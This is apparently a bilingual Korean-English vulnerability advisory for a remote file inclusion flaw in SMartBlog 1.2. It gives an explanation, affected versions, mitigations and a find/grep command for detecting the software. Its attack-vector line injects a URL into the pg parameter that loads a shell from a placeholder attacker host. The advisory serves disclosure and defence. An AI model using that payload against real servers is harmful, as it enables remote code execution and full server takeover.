🇰🇷 한글 설명
SMartBlog 1.2의 index.php에서 원격 파일 포함(RFI) 취약점이 존재합니다. pg 매개변수 및 매개변수 없는 쿼리 문자열을 통해 공격자가 임의의 PHP 파일을 포함하고 실행할 수 있으며, 이는 서버 전체 제어로 이어질 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 제공한 파일을 검증 없이 그냥 실행하는 실수를 합니다. 공격자는 인터넷의 악성 PHP 파일을 웹사이트에 로드하도록 속일 수 있습니다.
🇺🇸 원문 (English)
PHP remote file include vulnerability in index.php in SMartBlog (aka SMBlog) 1.2 allows remote attackers to include and execute arbitrary PHP files via (1) the pg parameter and (2) a query string without a parameter.
📍 영향받는 시스템
SMartBlog (SMBlog) 1.2 및 그 이전 버전
⚔️ 공격 벡터
URL 쿼리 문자열의 pg 매개변수에 원격 파일 URL 주입: index.php?pg=http://attacker.com/shell.php
🛡️ 대응 방법
SMartBlog를 최신 버전으로 업그레이드하거나 PHP allow_url_include를 비활성화하고 입력 유효성 검사 추가
🔧 검증 코드
명령어가 결과를 반환하면 SMartBlog가 설치된 것입니다. 결과가 없으면 시스템에 설치되지 않았거나 이미 제거된 것입니다.
find / -name 'index.php' -type f 2>/dev/null | xargs grep -l 'SMartBlog\|SMBlog' 2>/dev/null